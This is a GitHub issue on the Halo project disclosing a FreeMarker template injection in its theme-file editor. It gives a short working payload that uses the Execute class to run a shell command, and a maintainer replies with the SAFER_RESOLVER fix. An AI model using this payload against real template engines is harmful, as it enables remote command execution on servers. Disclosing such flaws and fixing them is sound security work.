Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

A Server-Side Freemarker template injection vulnerability could cause remote command execution #419

Closed
5 tasks done
any-how opened this issue Dec 11, 2019 · 1 comment
Closed
5 tasks done
Labels
vulnerability Vulnerability

Comments

@any-how
Copy link

any-how commented Dec 11, 2019

I am sure I have checked


I want to apply

  • BUG feedback

In the Edit Theme File function. I can edit the ftl file. This is the freemarker template file. This file can cause arbitrary code execution when it is rendered in the background.
image

RCE code is

<#assign test="freemarker.template.utility.Execute"?new()>
${test("touch /tmp/freemarkerPwned")}

Then visit an arbitrary 404 page, this vulnerability is triggered.
such as http: //demo.halo/foo
image

@JohnNiang
Copy link
Member

Configure freemarker new builtin class resolver with SAFER_RESOLVER.

JohnNiang pushed a commit to JohnNiang/halo that referenced this issue Mar 2, 2023
Signed-off-by: Ryan Wang <i@ryanc.cc>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
vulnerability Vulnerability
Projects
None yet
Development

No branches or pull requests

2 participants